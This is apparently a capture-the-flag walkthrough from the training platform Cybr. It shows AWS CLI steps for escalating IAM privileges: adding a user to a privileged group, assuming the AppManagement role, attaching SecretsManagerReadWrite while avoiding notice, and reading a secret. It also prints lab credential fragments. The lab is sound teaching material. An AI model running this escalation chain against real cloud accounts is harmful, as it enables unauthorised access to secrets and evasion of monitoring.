Challenge - Secrets Unleashed

A walkthrough demonstrating how to abuse and escalate IAM permissions.

CTF source: Cybr

Overview

We are tasked with conducting a security assessment of Serious Corp's environment. We have been granted access to an AWS IAM user, Adam, but lack detailed knowledge of the environment. We only know that Emma, an infrastructure engineer, uses the AppManagement IAM Role to carry out her responsibilities.

Adam, a member of the Developers IAM Group, can escalate privileges by adding himself to the Infrastructure Group. From there, the Infrastructure Group can assume an IAM Role, granting them any permissions. This leads to Adam accessing an encoded secret (flag) in AWS Secrets Manager.


Walkthrough

Enumeration

After setting up Adam's credentials with the AWS CLI, we'll want to try enumerating access.

aws --profile adam sts get-caller-identity 

{
    "UserId": "AIDAQGYBPW356MZ7ODTHJ",
    "Account": "014498641659",
    "Arn": "arn:aws:iam::014498641659:user/iam-secrets-unleashed-privesc-1728355140609-Adam"
}

IAM policies can be Inline or Managed and there are different commands to enumerate this.

Inline Policy enumeration

aws --profile adam iam list-user-policies --user-name iam-secrets-unleashed-privesc-1728355140609-Adam
 
{
    "PolicyNames": []
}

Managed Policy enumeration

aws --profile adam iam list-attached-user-policies --user-name iam-secrets-unleashed-privesc-1728355140609-Adam

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::014498641659:user/iam-secrets-unleashed-privesc-1728355140609-Adam is not authorized to perform: iam:ListAttachedUserPolicies on resource: user iam-secrets-unleashed-privesc-1728355140609-Adam because no permissions boundary allows the iam:ListAttachedUserPolicies action

It appears that Adam has a Permissions Boundary policy applied. AWS IAM Permissions Boundary policies are designed to limit the permissions of IAM Users and Roles, offering protection against unintended access by restricting privilege escalation, even as an administrator.

Let's see if Adam is a member of any IAM Groups. Groups are a way to provide permissions at scale for multiple users.

aws --profile adam iam list-groups-for-user --user-name iam-secrets-unleashed-privesc-1728355140609-Adam

{
    "Groups": [
        {
            "Path": "/division_it/internal_apps/",
            "GroupName": "iam-secrets-unleashed-privesc-1728355140609-Developers",
            "GroupId": "AGPAQGYBPW35RBXAFX6CS",
            "Arn": "arn:aws:iam::014498641659:group/division_it/internal_apps/iam-secrets-unleashed-privesc-1728355140609-Developers",
            "CreateDate": "2024-10-08T02:39:05+00:00"
        }
    ]
}

So Adam is part of the Developers group.

Like users and roles, groups can have both Inline and Managed policies attached. This command will list any Inline policies attached but there were none.

aws iam list-group-policies --group-name iam-secrets-unleashed-privesc-1728355140609-Developers

This command will list the Managed policies attached to the Developers group.

aws --profile adam iam list-attached-group-policies --group-name iam-secrets-unleashed-privesc-1728355140609-Developers

{
    "AttachedPolicies": [
        {
            "PolicyName": "iam-secrets-unleashed-privesc-1728355140609-developers",
            "PolicyArn": "arn:aws:iam::014498641659:policy/iam-secrets-unleashed-privesc-1728355140609-developers"
        }
    ]
}

Now that we have the IAM Policy ARN, we can check if the policy has multiple versions. IAM Managed policies support versioning and you can switch to a different policy version with the appropriate permissions. This could potentially elevate your access or allow access to new resources.

aws --profile adam iam list-policy-versions --policy-arn arn:aws:iam::014498641659:policy/iam-secrets-unleashed-privesc-1728355140609-developers

{
    "Versions": [
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2024-10-08T02:39:41+00:00"
        }
    ]
}

Alright, so there is only one version. Can we read the policy permissions?

aws --profile adam iam get-policy-version --policy-arn arn:aws:iam::014498641659:policy/iam-secrets-unleashed-privesc-1728355140609-developers --version-id v1

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "iam:AddUserToGroup"
                    ],
                    "Resource": [
                        "arn:aws:iam::014498641659:group/division_it/internal_apps/*"
                    ],
                    "Effect": "Allow",
                    "Sid": "AllowAddUserToGroup"
                },
                {
                    "Action": [
                        "ec2:Delete*",
                        "ec2:Describe*",
                        "ec2:Get*",
                        "ec2:Search*"
                    ],
                    "Resource": "*",
                    "Effect": "Allow"
                },
                {
                    "Action": [
                        "iam:ListGroupPolicies",
                        "iam:ListAttachedGroupPolicies",
                        "iam:ListPolicies",
                        "iam:ListPolicyVersions",
                        "iam:ListUsers",
                        "iam:ListGroups",
                        "iam:ListGroupsForUser",
                        "iam:GetPolicy",
                        "iam:GetUser",
                        "iam:GetUserPolicy",
                        "iam:GetGroupPolicy",
                        "iam:GetPolicyVersion",
                        "iam:ListUserPolicies"
                    ],
                    "Resource": "*",
                    "Effect": "Allow",
                    "Sid": "IAMActions"
                },
                {
                    "Action": [
                        "iam:AttachRolePolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::272281913033:role/AppManagement"
                    ],
                    "Effect": "Allow",
                    "Sid": "AllowAttachRolePolicy"
                },
                {
                    "Action": [
                        "sts:AssumeRole"
                    ],
                    "Resource": [
                        "arn:aws:iam::272281913033:role/AppManagement"
                    ],
                    "Effect": "Allow",
                    "Sid": "AllowAssumeSupportRole"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-10-08T02:39:41+00:00"
    }
}

Initially, I tried to assume the AppMangagement role but was blocked by a Permissions Boundary policy. The iam:AddUserToGroup permission is interesting. Let's see if there are other groups in the account.

aws --profile adam iam list-groups | jq -r '.Groups[] | {Path: .Path, Arn: .Arn}'

{
  "Path": "/division_it/product_cheeta/engineering/secrets/",
  "Arn": "arn:aws:iam::014498641659:group/division_it/product_cheeta/engineering/secrets/iam-addusertogroup-privesc-1725192474481-SecretsManagement"
}
{
  "Path": "/division_it/internal_apps/",
  "Arn": "arn:aws:iam::014498641659:group/division_it/internal_apps/iam-secrets-unleashed-privesc-1728355140609-Developers"
}
{
  "Path": "/division_it/internal_apps/",
  "Arn": "arn:aws:iam::014498641659:group/division_it/internal_apps/iam-secrets-unleashed-privesc-1728355140609-Infrastructure"
}

Based on our IAM policy, we can add ourselves to any group in this path group/division_it/internal_apps/* . Let's add Adam to the Infrastructure group.

Privilege Escalation - Infrastructure Group

aws --profile adam iam add-user-to-group --group-name iam-secrets-unleashed-privesc-1728355140609-Infrastructure --user-name iam-secrets-unleashed-privesc-1728355140609-Adam

We'll want to enumerate any new access the group provides us. This time we have an Inline policy attached to the group. Let's read its permissions.

aws --profile adam iam get-group-policy --group-name iam-secrets-unleashed-privesc-1728355140609-Infrastructure --policy-name iam-secrets-unleashed-privesc-1728355140609-infrastructure

[snip]
{
    "Action": [
        "iam:AttachRolePolicy"
    ],
    "Resource": [
        "arn:aws:iam::014498641659:role/AppManagement"
    ],
    "Effect": "Allow",
    "Sid": "AllowAttachRolePolicy"
},
[snip]

This is the most interesting part of the policy. We can assume the AppManagement role. Let's try it!

Privilege Escalation - AppManagement Role

aws --profile adam sts assume-role --role-arn arn:aws:iam::014498641659:role/AppManagement --role-session-name appmgmt

{
    "Credentials": {
        "AccessKeyId": "ASIAQGYBPW356SLT6Y3W",
        "SecretAccessKey": "MlMNBvuCchbpNLlStaLr4oj9NVbV61t67gPdRVVB",
        "SessionToken": "IQoJb3JpZ2luX2VjEOT///
[snip]

After setting up our credentials, we can validate we've assumed the identity successfully.

aws --profile appmgmt sts get-caller-identity 

{
    "UserId": "AROAQGYBPW355WYNS7M7Q:appmgmt",
    "Account": "014498641659",
    "Arn": "arn:aws:sts::014498641659:assumed-role/AppManagement/appmgmt"
}

We're unable to enumerate any IAM policies attached to the role, but we know that Adam has the iam:AttachRolePolicy permission on the AppManagement IAM Role from the Developers group's policy. This should allow us to attach any policy e.g., the AWS Managed Administrator policy.

In a well-monitored environment, such actions might be detected. To be more discreet and access the flag in Secrets Manager, let's attach the AWS Managed policy SecretsManagerReadWrite.

aws --profile adam iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite --role-name AppManagement

Finding the Flag!

Now, let's enumerate Secrets Manager.

aws --profile appmgmt secretsmanager list-secrets

[snip]
"Key": "aws:cloudformation:stack-name",
"Value": "iam-secrets-unleashed-privesc-1728355140609"
[snip]

We can then read the SecretString with this command.

aws --profile appmgmt secretsmanager get-secret-value --secret-id iam-secrets-unleashed-privesc-1728355140609-secret-key

I don't want to give away the flag but this value was encoded in Base64 so we can decode it with the following command.

echo '<encodedSecret>' | base64 --decode 

Last updated